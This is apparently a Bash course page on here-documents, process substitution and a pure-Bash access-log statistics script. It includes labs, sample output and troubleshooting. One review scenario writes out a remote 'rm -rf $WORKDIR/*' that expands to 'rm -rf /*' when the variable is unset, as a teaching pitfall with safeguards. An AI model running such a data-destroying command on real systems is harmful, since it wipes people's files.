Here-document expansion rules (Bash manual, Here Documents section)

Delimiter formBody handlingTested (env=prod port=8080)
<<EOFparameter expansion, command substitution, arithmetic expansion; \$,\`,\\ and \ backslashes in the body act as escapesenv=$env port=$((port+1)) user=\$USER → env=prod port=8081 user=$USER
<<'EOF' or <<"EOF" or <<\EOFnot expanded at all, output as-isenv=$env port=$((port+1)) verbatim
<<-EOFstrips leading tabs (Tab) from each line; can be combined with quoting <<-'EOF'an indented body inside an if block is output without indentation

The closing delimiter must be alone on its line, flush left (<<- leading tabs allowed). No trailing spaces are allowed. If the delimiter is not found, Bash reads to the end of the file and prints a warning: warning: here-document at line 1 delimited by end-of-file (wanted `EOF') (tested), so all code after it is treated as body text.

Why: why they are needed

  • generating config files, SQL and multi-line messages: a here-doc is clearer than a series of echo statements, and it <<'EOF' does not expand variables early when generating another script (validate.sh in Module 4 was generated this way).
  • Avoid a pipe subshell: read -r a b <<< "$line" assignments happen in the current shell; echo "$line" | read a b assignments inside it are lost (Module 6).
  • Compare two commands' output without writing to disk: diff <(ssh a cat /etc/hosts) <(ssh b cat /etc/hosts).
  • Send one output to several destinations: cmd | tee >(gzip > log.gz) >(grep ERROR > err.txt) >/dev/null.

How: what happens at the kernel level

  • Here-doc / here-string: Bash expands the body first, then places it in a pipe (Bash 5.1+, when the body is smaller than the pipe buffer, which is 64 KiB by default on Linux) or in a temp file (for larger bodies; older versions always use a temp file, located in $TMPDIR or /tmp), then points the command's fd 0 at it. TMPDIR If it is not writable, older Bash reports "cannot create temp file for here-document".
  • Process substitution <(list): Bash creates a pipe, forks a child to run list (its stdout connected to the pipe's write end), keeps the read end as some fd in the current shell (e.g. 63), then replaces the word <(list) with /dev/fd/63. The command opens this path, which duplicates that fd. Tested with ls -l <(true) shows it points to pipe:[…]. On systems without /dev/fd, a named pipe (FIFO) is used instead.
  • Process substitution happens in the same phase as command substitution and parameter expansion; the filename it produces can only be read once, sequentially (a pipe cannot seek), so programs that read more than once or seek will fail.
  • Bash 5.3 ${ cmd; }: runs cmd in the current shell and captures its standard output as the expansion result (NEWS 5.3: "without forking a child process and using pipes"); variable changes made inside cmd persist in the current shell. ${| cmd; } then expands to the value of REPLY after cmd runs. Both forms are syntax errors in Bash 5.2 and earlier.

When: choosing

NeedChoose
Multi-line fixed template (variables need substitution)cat <<EOF > file
Generating a script / text containing $ characterscat <<'EOF' > file
Writing requires root privilegessudo tee /etc/x.conf >/dev/null <<'EOF' (sudo cat > file does not work: the redirection is performed by the current user's shell)
Feeding a variable to read / a filter command<<< "$var"
The program only accepts filename arguments<(cmd)
Looping over command output while keeping variablesdone < <(cmd)
POSIX shHere-doc only; otherwise a temp file (mktemp + trap cleanup from Lesson 4)
Common misconceptions① “<<- removes indentation spaces”—only tabs are removed; an editor that converts tabs to spaces breaks the script. ② “<<'EOF' is just style”—it determines whether the body is expanded; if you get it wrong when generating a script, the current environment's variable values get “baked” into the file. ③ “here-string passes the string verbatim”—it appends a newline at the end (tested od -c <<< ab → a b \n). ④ “<(cmd) is a temp file”—on Linux it is a pipe, which can only be read once. ⑤ “diff <(…) <(…) two commands run in sequence”—they actually run at the same time.

Where fd 0 points: comparing the four forms

cat <<EOFbody expanded first pipe (≤ pipe buffer) / temp fileBash 5.1+ strategy cat's fd 0read(0, …) read a b <<< "$s"expanded + append \n same as above (pipe or temp file) read builtin (current shell)variable stays in current shell diff <(cmd1) <(cmd2)two child processes in parallel two pipesread ends fd 63 and fd 62 stay in diff argv: diff /dev/fd/63 /dev/fd/62diff open()s these two paths tee >(gzip > x.gz) pipe: write end to tee, read end to gzip argv: tee /dev/fd/63
Figure 7-1: here-doc and here-string change stdin; process substitution changes argv (it becomes a filename)

Expansion differences among the three here-doc forms

<<EOF port=$((port+1))now=$(date +%F)cost=\$5 → port=8081 / now=2026-11-17→ cost=$5 <<'EOF' port=$((port+1))now=$(date +%F) → output verbatimgenerating scripts, template placeholders <<-EOF ⇥⇥line $env⇥EOF → line prod (tabs removed)space indentation is not removed
Figure 7-2: whether expansion happens depends only on whether the delimiter is quoted, not on the body content

Redirection wiring diagram: where the command's fd 0 and argv are connected

Pick a form and step through the setup Bash performs before the command runs: expanding the body (or not), creating the pipe or temp file, forking the producer, rewriting argv, and wiring the fds. Only then does the command start.

Current shellParse command— Data source— Channel— Commandargv: —fd0: —fd1: ——
Choose a form, then click "Next".

Here-doc / here-string / process substitution (actual output)

env=prod port=8080
cat <<EOF
env=$env port=$((port+1)) user=\$USER date=$(echo 2026-11-17)
EOF
cat <<'EOF'
env=$env port=$((port+1))
EOF
if true; then
	cat <<-EOF
		tab-indented $env
	EOF
fi
tr a-z A-Z <<< "here $env"
od -c <<< "ab" | head -1
read -r first rest <<< "one two three"; echo "first=$first rest=$rest"
env=prod port=8081 user=$USER date=2026-11-17
env=$env port=$((port+1))
tab-indented prod
HERE PROD
0000000   a   b  \n
first=one rest=two three

<<- The examples use Tab indentation. When copying from the web page, Tabs may be converted to spaces, so the end line is not recognized. If you see the "delimited by end-of-file" warning, change the indentation back to Tabs or switch to an unindented <<EOF form.

diff <(printf 'a\nb\n') <(printf 'a\nc\n'); echo "diff rc=$?"
echo <(true)
ls -l <(true) | sed 's/.* -> //'
printf 'x\ny\n' | tee >(wc -l > count.txt) >/dev/null; sleep 0.2; cat count.txt
# store a here-doc in a variable (two ways)
read -r -d '' msg <<'EOF'
line1
line2
EOF
echo "rc=$? msg=[$msg]"
msg2=$(cat <<EOF
a $env
b
EOF
); printf '%s\n' "$msg2"
# here-doc as input to a while loop
while IFS='=' read -r k v; do echo "k=$k v=$v"; done <<EOF
A=1
B=$env
EOF
2c2
< b
---
> c
diff rc=1
/dev/fd/63
pipe:[30064818796]
2
rc=1 msg=[line1
line2]
a prod
b
k=A v=1
k=B v=prod

Note:read -r -d '' msg <<EOF returns 1 at EOF (no NUL delimiter was found). In the Lesson 4 set -e context, write it as read -r -d '' msg <<'EOF' || true. tee >(…) child process is asynchronous, so the example sleeps briefly before reading the result; in production, use wait $! (Bash 4.4+ $! refers to the most recent process substitution, which can be waited on; with several, record each one in turn $!) or switch to a plain pipe.

Bash 5.3: command substitution without fork

# Bash 5.3+ only
count=0
out=${ echo "hello"; count=5; }    # runs in the current shell; note the space after { and the ; at the end
echo "$out count=$count"
out2=$( echo "hello"; count=9; )   # classic form: subshell, count does not change
echo "$out2 count=$count"
greet() { REPLY="hi $1"; }
msg=${| greet ops; }              # expands to the REPLY value after execution
echo "$msg"
hello count=5
hello count=5
hi ops

On 5.2 and earlier,${ …; } reports "bad substitution". Do not use it in scripts that must run on older versions.

Lab 7: generate config and reports with a here-doc, compare data with process substitution (about 8 min)

Generate an nginx upstream config snippet (shell variables must be expanded, while nginx's own $ variables must not be expanded):
cd ~/bashlab/part2 && mkdir -p m7 && cd m7
upstream=myapp port=5000
mapfile -t web_ips < <(while IFS=, read -r n e r ip role; do [[ $role == web && $e == prod ]] && echo "$ip"; done < "$DATA/servers.csv")
{
  echo "upstream $upstream {"
  for ip in "${web_ips[@]}"; do echo "    server $ip:$port max_fails=3;"; done
  echo "}"
  cat <<'EOF'
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent';
EOF
} > upstream.conf
cat upstream.conf
upstream myapp {
    server 10.30.1.41:5000 max_fails=3;
    server 10.30.1.42:5000 max_fails=3;
}
log_format main '$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent';

The role field of edge-01 (line 11) is quoted in the CSV "web,api"; IFS=, does not understand quoting, so the role variable gets the entire rest of the line, including the double-quote characters, which does not equal web, so it does not appear in the upstream block: another CSV boundary problem. The curly braces { …; } > file group the output of several commands together for one redirection (no subshell is created). nginx's $remote_addr etc. must be kept verbatim, so that section uses <<'EOF' If you use <<EOF, these variables are expanded by Bash to empty strings. This is the most common bug when generating nginx, systemd or Prometheus configs.

Generate a small executable script (some variables are expanded at generation time, some at run time):
target=prod
cat > show-env.sh <<EOF
#!/usr/bin/env bash
# Generated at: $(date +%F), target: $target
echo "Run-time user: \$USER, argument count: \$#"
EOF
chmod +x show-env.sh; cat show-env.sh; ./show-env.sh a b
#!/usr/bin/env bash
# Generated at: 2026-11-17, target: prod
echo "Run-time user: $USER, argument count: $#"
Run-time user: labadmin, argument count: 2
Compare host lists of two environments using process substitution:
hosts_of() { while IFS=, read -r n e _; do [[ $e == "$1" ]] && echo "${n%-*}"; done < "$DATA/servers.csv" | sort -u; }
comm -3 <(hosts_of prod) <(hosts_of staging)
bastion
edge

${n%-*} strips the numbering to get the role prefix; comm -3 shows lines that appear on only one side (lines that appear only in the second input start with a Tab). prod has bastion and edge, which staging lacks, while staging has no hosts outside prod, so no line starts with a Tab. comm requires sorted input, so hosts_of sort is applied inside the process substitutions.

One output, three destinations (also demonstrating a grep pitfall):
tee >(grep -c ' 5[0-9][0-9] ' > loose.count) \
    >(grep -c '" 5[0-9][0-9] ' > strict.count) \
    >(gzip > access.copy.gz) < "$DATA/access.log" >/dev/null
sleep 0.5; echo "Loose: $(cat loose.count)  Anchored quotes: $(cat strict.count)"; ls -l access.copy.gz
Loose: 42  Anchored quotes: 28
-rw-r--r-- 1 labadmin labadmin 9876 Nov 17 10:30 access.copy.gz

' 5[0-9][0-9] ' This will also count lines whose byte count is 5xx (e.g. line 52 "POST /api/orders HTTP/1.1" 201 506), giving 42; anchoring after the closing quote of the request line '" 5[0-9][0-9] ' is the status-code field, giving the correct 28 (Lesson 1 count: 500×12 + 502×4 + 503×12). Module 8 uses a regex to pinpoint each field.

Cleanup: cd ~/bashlab/part2 && rm -rf -- m7.

Case 1: in the generated systemd unit, $MAINPID is missing

Problem: The install script uses cat <<EOF > /etc/systemd/system/app.service to write ExecReload=/bin/kill -HUP $MAINPID, and the generated file now contains /bin/kill -HUP , and reload fails with a kill error. Fix: Quote the whole block with <<'EOF'; when you really need to insert script variables, use an unquoted here-doc only for that part, or use \$MAINPID escapes; after generating the file, verify it with systemd-analyze verify (see Linux course, Lesson 2).

Case 2: sudo cat > /etc/… fails with Permission denied

Problem: The redirection is performed by the current (non-root) shell before sudo starts. Fix:sudo tee /etc/app.conf >/dev/null <<'EOF' or sudo sh -c 'cat > /etc/app.conf' <<'EOF'. Limitation: tee echoes the content to stdout, so you need to add >/dev/null.

Case 3: configuration drift check

Scenario: Compare the sysctl settings of two servers without writing them to disk: diff <(ssh -n web-01 sysctl -a 2>/dev/null | sort) <(ssh -n web-02 sysctl -a 2>/dev/null | sort). The two ssh sessions run in parallel, about twice as fast as running them in series. Limitation: diff's exit code 1 means "there are differences", not an error; under Lesson 4's set -e handling; large-scale, continuous drift detection should be left to configuration management tools (Ansible check mode).

Common errors and fixes

warning: here-document at line N delimited by end-of-file (wanted `EOF')

Cause: the end line is not exactly EOF: leading spaces, trailing spaces, or \r, using <<- with space indentation instead of Tabs. Diagnosis:cat -A script.sh | grep -n 'EOF'. Fix: Make the end line flush left with no trailing characters.

In the generated file, $variable turns into an empty string

Cause: An unquoted delimiter was used. Fix:<<'EOF' or escape it in the body with \$.

syntax error near unexpected token `<' (process substitution)

Cause: the script is run by sh (dash), or written as < (cmd) (with a space in the middle). Fix: run it with bash; <( must be written together with no space.

cannot create temp file for here-document: No space left on device / Read-only file system

Cause: Older Bash, or a here-doc larger than the pipe buffer, needs a temp file, and $TMPDIR (default /tmp) is full or read-only (e.g. systemd's ProtectSystem=strict is in effect and no PrivateTmp is set). Fix: set a writable TMPDIR, and clean up /tmp.

${ cmd; }: bad substitution

Cause: Bash < 5.3. Fix: use $(cmd); or check the version at the top of the script.

A program reading <(cmd) reports "Illegal seek" or reads only part of the data

Cause: Process substitution is a pipe, and the program tries to seek or read twice. Fix: write to a temp file first: tmp=$(mktemp); cmd > "$tmp"; prog "$tmp"; rm -f -- "$tmp".

Command-line exercises
1. Without using echo or a pipe, use one command to split the variable csv="a,b,c" into the array parts.
IFS=, read -r -a parts <<< "$csv"
declare -p parts
2. Find hosts that are in servers.csv but missing from the hostname list derived from inventory.json (assuming you already have jq).
comm -23 <(tail -n +2 "$DATA/servers.csv" | cut -d, -f1 | sort) \
         <(jq -r '.[].name' "$DATA/inventory.json" | sort)

jq is covered in detail in Lesson 6; here, get a feel for using the output of two commands directly as two files.

Scenario analysis
A deployment script uses <<EOF to generate a script that runs remotely: ssh host bash <<EOF … rm -rf $WORKDIR/* … EOF. What problems would you raise in code review?

In an unquoted here-doc, variables expand locally (on your machine) $WORKDIR: if it is unset locally, the remote side runs rm -rf /*. Be explicit about which side each variable expands on: inject local values safely with printf %q (or pass them via ssh arguments or environment), and use \$ or quote the whole <<'EOF'; then add ${WORKDIR:?} protection and set -u.

Verified instructional videos

▶
Heredocs in Bash! Understanding how they work and a few gotchas. You Suck at Programming #069 — You Suck at Programming
English · here-doc mechanics and pitfalls
▶
What is a heredoc? Here Documents Explained | Linux Terminal 201 - HakTip 179 — Hak5
English · beginner walkthrough
▶
Command vs. Process substitution in Bash - explaining the difference. You Suck at Programming #073 — You Suck at Programming
English · command substitution and process substitution
▶
heredocs vs. printf for multiline inserts in bash scripts — You Suck at Programming
English · two ways to write multi-line text

Official docs

Video storyboard (about 80 seconds)

This course page cannot generate video or MP3 directly; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–25s
Visual: the same nginx template containing $remote_addr is generated with <<EOF and <<'EOF' respectively; the former leaves blanks where the variables should be.
Narration: whether the delimiter is quoted determines whether the body is expanded.
Shot 2 · 25–55s
Visual: diff's argv shows /dev/fd/63 and /dev/fd/62; two pipes connect to two sort processes running in parallel.
Narration: process substitution turns a command's output into a filename; behind it is a pipe.
Shot 3 · 55–80s
Visual: Bash 5.3's ${ cmd; } compared with the classic $( ): the former has no fork arrow, and variable changes stay in the current shell.
Narration: a version 5.3 syntax that captures output without creating a subprocess.
or score ≥ 70% on the quiz

Module 8 · Control-flow capstone: log statistics tool

50:00 – 60:00 · Apply everything in this lesson to a real requirement: using only Bash builtins, count the status-code distribution, the 5xx ratio, the top paths and the top clients in access.log, and handle bad data, empty files and a final line without a newline correctly
10 minPure Bash · no external commandsSynthesis + troubleshooting tree★★★★★
Learning objectives
  • Use a regex stored in a variable, plus [[ =~ ]] + BASH_REMATCH to parse one line of an nginx/gunicorn combined log (a User-Agent with spaces and quotes does not affect the fields before it).
  • Use associative arrays by_status,by_path,by_ip to count; use the index-array-order trick to print status codes numerically, and a pure-Bash selection algorithm to print the Top-N.
  • Also covers: parameter defaults (${1:-…}), integer fixed-point decimals (5xx ratio),while IFS= read -r line || [[ -n $line ]],done < "$log" (keeping variables), bad-line counting, empty-data protection.
  • Understand the performance limits of a pure-Bash approach, and know when to switch to awk (Lesson 5 rewrites it as opsctl logs report).
Prerequisites: Modules 1–7. Importance:★★★★★

What: requirements

Input: ~/bashlab/data/access.log (combined format). Output: total record count, number of unparseable lines, total bytes, 5xx ratio (two decimals), counts per status code (ascending numeric order), counts per status class (2xx/3xx/4xx/5xx), top 3 paths, top 3 client IPs. Constraints: no external commands (no awk, cut, sort or grep), runs on Bash ≥ 4.3 (uses nameref local -n).

Why: why it is designed this way

DesignRationaleModule
Store the regex in a variable re='…'The regex contains spaces, quotes and brackets, so writing it directly in [[ ]] conflicts with shell syntaxM4
Parse by regex, not by splitting on spacesThe User-Agent contains spaces; the ident/user fields may be - values other than that; usernames can also contain spaces (escaped). The regex anchors only the stable fields before themM4, M6
declare -A by_status=() explicit initializationAssociative arrays must be declared; initialize them as empty arrays,set -u under ${#m[@]} set -u to stay safeM3
(( by_status[$status]++ , … , total++ ))One arithmetic command does several counts (comma operator)M2
while IFS= read -r line || [[ -n $line ]] … done < "$log"Keep the original line, handle a last line without a newline, and run the loop in the current shellM6
order[code]=1 then iterate over "${!order[@]}"Iterating index-array subscripts in numeric order gives free integer sortingM3
Top-N uses a selection algorithmN is small (3), so O(N·K) is enough; avoid sort external commandsM5
(( total > 0 )) || exit 1Prevents division by 0M2
Parameters ${1:-$HOME/bashlab/data/access.log}Defaults + overridableM1

How: the regex, piece by piece

re='^([^ ]+) [^ ]+ [^ ]+ \[([^]]+)\] "([A-Z]+) ([^ "]+)[^"]*" ([0-9]{3}) ([0-9]+|-)'
#    ^^^^^^^ 1 client IP
#            ^^^^^ ^^^^^ ident, user (not captured)
#                        ^^^^^^^^^^^^^ 2 time [17/Nov/2026:10:00:01 +0000]
#                                        ^^^^^^^^ 3 method
#                                                 ^^^^^^^^ 4 path (including query string)
#                                                          ^^^^^^ protocol and the rest (not captured)
#                                                                   ^^^^^^^^^^ 5 status code
#                                                                               ^^^^^^^^^^ 6 bytes, or -

In ERE, [^]] means “any character except ] ”, (] a literal when it directly follows [^ ). The regex does not need to match to the end of the line; nothing in the Referer or User-Agent affects the first 6 fields.

When: pure Bash or awk

Data volumePure Bash (this module)awk (Lesson 5)
Hundreds to tens of thousands of lines (a time window during troubleshooting)✓ Fast enough, no external dependencies, and the logic can share variables with the rest of the script✓
Hundreds of thousands of lines or more✗ One regex match per line plus many array operations makes it noticeably slower (see the local measurements on the Commands tab)✓ Usually one to two orders of magnitude faster
Continuous monitoring✗ Neither is suitable → structured logs + Prometheus / Loki (see Prometheus & Grafana course)
Common misconceptions① “Using read -r ip _ _ _ _ _ _ _ status size _ splitting on spaces is enough”—this works for standard combined logs (the Module 2 lab does exactly that), but if the request line contains spaces (a malformed request "GET /a b HTTP/1.1") or "-" (an empty request, status 400), the fields shift; a regex can identify these lines as bad. ② “Associative arrays are iterated in insertion order”—they are not, so sort explicitly. ③ “Pure Bash is always faster than calling awk”—for small data it avoids a fork; for large data awk is far faster.

logstats.sh data flow

access.logdone < "$log" IFS= read -r line|| [[ -n $line ]]Current shell [[ $line =~ $re ]]BASH_REMATCH[1..6] (( bad++ )) In-memory counters declare -A by_status [200]=5 [500]=1 … declare -A by_path [/api/orders]=4 … declare -A by_ip [192.0.2.44]=4 … declare -i total bad bytes err5 After the loop:Sort (index-array trick) · Top-N · percentages printf report → stdout Match No match
Figure 8-1: the whole process runs as a single process; reading, parsing, counting, sorting and output all happen in the current shell

"Free sorting": index-array subscripts are ordered

Associative array by_status (unordered) "${!by_status[@]}" → 404 200 503 302 500 201(hash order, example) Indexed array order (subscript = status code) order[404]=1 order[200]=1 …"${!order[@]}" → 200 201 302 404 500 503Sparse array iterated in ascending subscript order
Figure 8-2 applies only to non-negative integer keys (status codes, ports, hours); string keys still need a sorting algorithm or sort

Live log stream statistics

Click "Play": log lines enter the parser one by one. When the regex matches, the capture groups are highlighted and the counter table on the right is updated; bad lines that do not match go into "unparseable". Finally, sorting and Top-N run. So you can watch line by line, the animation uses only 10 sample lines (the small sample in the Module 0 collapsible section, same format as access.log) plus one bad line with no trailing newline. The final numbers match exactly the result of actually running logstats.sh on these 11 lines; for the full 611-line dataset, see the Commands tab.

Current line
by_status
by_path
by_ip / counters
Click "Next" to start.

Full script: logstats.sh

#!/usr/bin/env bash
# logstats.sh — pure Bash access log statistics (Lesson 2 capstone)
# Usage: logstats.sh [logfile]   (defaults to ~/bashlab/data/access.log)
set -uo pipefail

log=${1:-$HOME/bashlab/data/access.log}
[[ -r $log ]] || { printf 'logstats: cannot read %s\n' "$log" >&2; exit 2; }

# Combined log format: IP ident user [time] "METHOD PATH PROTO" STATUS BYTES "referer" "UA"
re='^([^ ]+) [^ ]+ [^ ]+ \[([^]]+)\] "([A-Z]+) ([^ "]+)[^"]*" ([0-9]{3}) ([0-9]+|-)'

declare -A by_status=() by_path=() by_ip=()
declare -i total=0 bad=0 bytes=0 err5=0

while IFS= read -r line || [[ -n $line ]]; do
  if [[ $line =~ $re ]]; then
    ip=${BASH_REMATCH[1]} path=${BASH_REMATCH[4]}
    status=${BASH_REMATCH[5]} size=${BASH_REMATCH[6]}
    path=${path%%\?*}                       # strip query string
    (( by_status[$status]++ , by_path[$path]++ , by_ip[$ip]++ , total++ ))
    [[ $size == - ]] || (( bytes += size ))
    [[ $status == 5* ]] && (( err5++ ))
  else
    (( bad++ ))
  fi
done < "$log"

(( total > 0 )) || { echo "logstats: no parseable records" >&2; exit 1; }

printf 'File: %s\nRecords: %d (unparseable %d)\nTotal bytes: %d\n' "$log" "$total" "$bad" "$bytes"
printf '5xx ratio: %d.%02d%%\n' $(( err5*100/total )) $(( err5*10000/total % 100 ))

echo "== By status code =="
declare -a order=()
for code in "${!by_status[@]}"; do order[code]=1; done   # sort numerically using an indexed array
for code in "${!order[@]}"; do
  printf '%s  %5d\n' "$code" "${by_status[$code]}"
done

echo "== By status class =="
declare -A klass=()
for code in "${!by_status[@]}"; do
  (( klass[${code:0:1}xx] += by_status[$code] ))
done
for k in 2xx 3xx 4xx 5xx; do printf '%s  %5d\n' "$k" "${klass[$k]:-0}"; done

top() {                     # top <assoc-array name> <N>: pure Bash selection sort
  local -n _m=$1; local n=$2 i k best
  local -A seen=()
  for (( i = 0; i < n; i++ )); do
    best=
    for k in "${!_m[@]}"; do
      [[ -v seen[$k] ]] && continue
      if [[ -z $best ]] || (( _m[$k] > _m[$best] )); then best=$k; fi
    done
    [[ -n $best ]] || break
    seen[$best]=1
    printf '%5d  %s\n' "${_m[$best]}" "$best"
  done
}
echo "== Top 3 paths =="; top by_path 3
echo "== Top 3 client IPs =="; top by_ip 3
File: /home/labadmin/bashlab/data/access.log
Records: 611 (unparseable 0)
Total bytes: 2703396
5xx ratio: 4.58%
== By status code ==
200    450
201     54
301     12
302     19
304     22
400     11
401      6
404      9
500     12
502      4
503     12
== By status class ==
2xx    504
3xx     53
4xx     26
5xx     28
== Top 3 paths ==
  211  /api/orders
  121  /healthz
   75  /
== Top 3 client IPs ==
   75  198.51.100.23
   69  203.0.113.99
   64  203.0.113.7

Matches the Lesson 1 dataset facts item by item: 611 lines, 28 5xx responses (500×12 + 502×4 + 503×12), 26 4xx, /api/orders 211 times, /healthz 121 times. The apostrophe in the User-Agent on line 307 and \x22 do not affect parsing, because the regex never reads the User-Agent. The file path line depends on your home directory.

Code snippetsKey pointsHow to verify
set -uo pipefailUnset variables error out and pipeline failures become visible (full strict mode is in Lesson 4; deliberately not enabled here -e, because (( … total++ )) returns 1 on the first count)Remove declare -A by_ip=() and run, then observe the error.
(( a++ , b++ ))comma operator; the last expression determines the exit status(( x=0, x++ )); echo $? → 1
local -n _m=$1nameref (4.3+) lets the function operate on the caller's array by name; covered in detail in Lesson 3. The name uses an underscore prefix to avoid clashing with the caller's variable namestop by_ip 1
[[ -v seen[$k] ]]Check whether a key exists in an associative arrayand ${seen[$k]:-} compared side by side
${code:0:1}xxSubstring expansioncode=404; echo ${code:0:1}xx

Performance limits (local measurements, for order-of-magnitude reference only)

On the machine used to build this course (Git Bash 5.2.37 on Windows; fork costs more than on Linux, but logstats itself does not fork), the 10-line sample repeated to 50 000 lines: logstats.sh and the equivalent awk '{c[$9]++} END{…}' timings are in the table below; absolute numbers on Linux differ, but the "one to two orders of magnitude" conclusion holds. This is why Lesson 5 rewrites it as the awk version opsctl logs report .

50 000 linesrealNotes
bash logstats.sh big.log25.8 sFull statistics (3 associative arrays + regex + Top-N)
awk '{c[$9]++} END{…}' big.log0.05 sStatus codes only (fewer features, but still sub-second even with matching features)

Git Bash (MSYS2 runtime) has higher system-call overhead than Linux; absolute times on native Linux Bash are usually shorter (not measured for this course), but the conclusion that the gap to awk is one to two orders of magnitude still holds. Conclusion: pure Bash suits a troubleshooting window of a few thousand lines, not full logs.

Lab 8: write, run and extend logstats.sh (about 10 min)

Create the script: save the full script from the Commands tab as ~/bashlab/part2/logstats.sh (you can use cat > logstats.sh <<'EOF' … EOF, note that you must use a quoted delimiter, otherwise the $line and similar parts are expanded to empty strings when written).
cd ~/bashlab/part2
# Paste the script into an editor and save it, or use a quoted here-doc
chmod +x logstats.sh
bash -n logstats.sh && echo "Syntax check passed"
command -v shellcheck >/dev/null && shellcheck logstats.sh
Syntax check passed
Run: ./logstats.sh (by default reads ~/bashlab/data/access.log), and compare the output with that on the Commands tab.
Bad-data test: copy the log, then append a line of garbage data with no newline and a 400 record with an empty request.
cp -- "$DATA/access.log" test.log
printf '%s\n' '203.0.113.9 - - [17/Nov/2026:10:01:00 +0000] "-" 400 0 "-" "-"' >> test.log
printf '%s' 'malformed line without newline' >> test.log
./logstats.sh test.log | head -n 3
File: test.log
Records: 611 (unparseable 2)
Total bytes: 2703396

Empty request "-" does not match the regex's "([A-Z]+) …", so it is counted as bad. The last line, although it has no trailing newline, is still || [[ -n $line ]] and counted as bad. If you remove || [[ -n $line ]], the unparseable count becomes 1.

Edge-case tests:
: > empty.log; ./logstats.sh empty.log; echo "rc=$?"
./logstats.sh /nonexistent; echo "rc=$?"
logstats: no parseable records
rc=1
logstats: cannot read /nonexistent
rc=2
Extensions (optional):
  • Add "request count by hour": take the hour from BASH_REMATCH[2] (17/Nov/2026:10:00:01 +0000 with parameter expansion to take the hour ${t:12:2}, use 10# to convert it to a number and use it as an indexed-array subscript—another "free sorting" example.
  • Add an option --top N (parse with case; Lesson 3 covers getopts).
  • Change the output to a here-doc template (cat <<EOF), to generate a Markdown report.
  • Mark the IPs in by_ip whose request count exceeds a threshold and whose 4xx ratio is high as "suspicious" (you need another associative array ip_4xx).
Cleanup: keep logstats.sh (Lesson 5 compares it with the awk version); delete the test file rm -f -- test.log empty.log.

Case 1: quickly answering "which endpoint is returning 5xx" during an incident

Scenario: An alert shows the 5xx ratio rising. The on-call engineer logs in to a minimal node with no extra tools installed (only Bash and BusyBox). Approach: Reduce the logstats.sh approach to one line: declare -A c=(); while IFS= read -r l; do [[ $l =~ $re ]] && [[ ${BASH_REMATCH[5]} == 5* ]] && (( ++c[${BASH_REMATCH[4]}] )); done < access.log; declare -p c. Limitation: For large files, first use tail -n 50000 to cut a time window (feed it to the loop with process substitution).

Case 2: the count is "always one short"

Problem: The application writes the log directly, and the last line has not been fully written yet when the count runs (no newline). Approach: In this case, being "one short" is actually correct: an incomplete line should not be counted. logstats validates each line with a regex, so a half-written line is counted as "unparseable" rather than treated as a valid record. Lesson learned: Whether the "last line" should be processed depends on the data source: configuration files should be processed, while logs still being written usually should not.

Case 3: from a Bash prototype to a proper tool

Scenario: logstats became popular within the team, and someone started running it on a 2 GB log, which takes over ten minutes. Approach: Keep Bash as the "glue" (argument parsing, input selection, output formatting), replace the line-by-line processing with awk (Lesson 5), and add bats tests (Lesson 7) to prevent regressions. The long-term fix is for the application to emit structured logs that a logging platform aggregates.

Common errors and fixes

All lines are counted as "unparseable"

Cause: The log is not in combined format (for example JSON logs, a custom log_format, or gunicorn's default format, where the time field is in a different position), or the lines end with \r (CRLF). If the regex itself is unaffected, the most likely cause is that it was quoted (literal match). Diagnosis: Take one line line=$(head -1 "$log"); [[ $line =~ $re ]]; echo $?; declare -p BASH_REMATCH, and shorten the regex step by step to find where it stops matching.

declare: -n: invalid option / local: -n: invalid option

Cause: Bash < 4.3 does not support nameref. Fix: Upgrade Bash, or change the top function to operate directly on global arrays (write a loop for each array).

by_ip: unbound variable / by_status[$status]: bad array subscript

Cause: The first is forgetting to declare -A by_ip=() (under set -u); the second is an empty status code (the capture group numbers changed after the regex was edited). Fix: Initialize all arrays; after changing the regex, use declare -p BASH_REMATCH to confirm the numbering.

After the script runs, all counts are 0

Cause: Changed to cat "$log" | while … or tail -n 1000 "$log" | while …, so the loop runs in a subshell (Module 6). Fix:done < <(tail -n 1000 "$log").

Very slow (hundreds of thousands of lines take several minutes)

Cause: Inherent overhead of pure Bash line-by-line processing; if the loop also calls external commands (date,cut), a fork per line makes it another order of magnitude slower. Fix: First confirm that the loop has no external commands; for large data, switch to awk.

Interactive troubleshooting tree: the script's data processing gives wrong results

Command-line exercises
1. Add per-hour counting in the loop of logstats.sh, and print in ascending hour order.
declare -a by_hour=()
# Inside the loop, after a successful match:
t=${BASH_REMATCH[2]}                 # 17/Nov/2026:10:00:01 +0000
h=$(( 10#${t:12:2} ))                # 10
(( by_hour[h]++ ))
# After the loop:
for h in "${!by_hour[@]}"; do printf '%02d:00  %d\n' "$h" "${by_hour[h]}"; done
2. Using only one associative array, count each "method + path" combination (e.g. GET /api/orders).
declare -A by_route=()
(( by_route["${BASH_REMATCH[3]} ${BASH_REMATCH[4]}"]++ ))
Scenario analysis
The product manager wants logstats to run every 5 minutes, output the 5xx ratio, and send an alert when it exceeds 5%. Would you run this script directly with cron? What problems must be solved first?

It can serve as a stopgap, but you must solve: ① incremental processing: counting the whole file each time double-counts, so record the last read offset (or use tail -n / filter by time window), handle log rotation; ② performance: pure Bash slows as logs grow; ③ reliability: cron's environment variables differ (HOME,PATH), so use explicit paths, a lock to prevent overlapping runs (Lesson 4), and failure alerts; ④ alert de-duplication and recovery notifications. A better long-term approach is for the application to expose http_requests_total{status=…} data, with Prometheus computing the ratio and alerting.

Verified related videos

No verified dedicated video on "counting nginx access logs with pure Bash" was found. The following videos cover the components used in this module:

▶
Arrays in Bash Explained in 7 Minutes! - Indexed, Associative, and Nested / Multi-Dimensional — You Suck at Programming
English · counting with associative arrays
▶
Bash Scripting Tutorial for Beginners — freeCodeCamp.org
English · long beginner course; useful as a comprehensive review of this lesson
▶
Bash in 100 Seconds — Fireship
English · 100-second quick recap

Official docs

Video storyboard (about 120 seconds)

This course page cannot generate video or MP3 directly; the storyboard and narration below can be handed to a video tool.

Shot 1 · 0–25s
Visual: one combined log line, with the six capture groups outlined in different colors in turn, and the User-Agent part grayed out.
Narration: the regex anchors only the stable fields at the front; whatever the User-Agent contains afterward has no effect.
Shot 2 · 25–60s
Visual: log lines drop into the parser one by one; the counts in the three hash tables on the right tick up; one bad line falls into the red "unparseable" bucket.
Narration: three associative arrays, one read, three kinds of statistics at once.
Shot 3 · 60–90s
Visual: unordered status-code keys are placed into the cells of an indexed array; the cells are ordered by number, so reading them out gives sorted output.
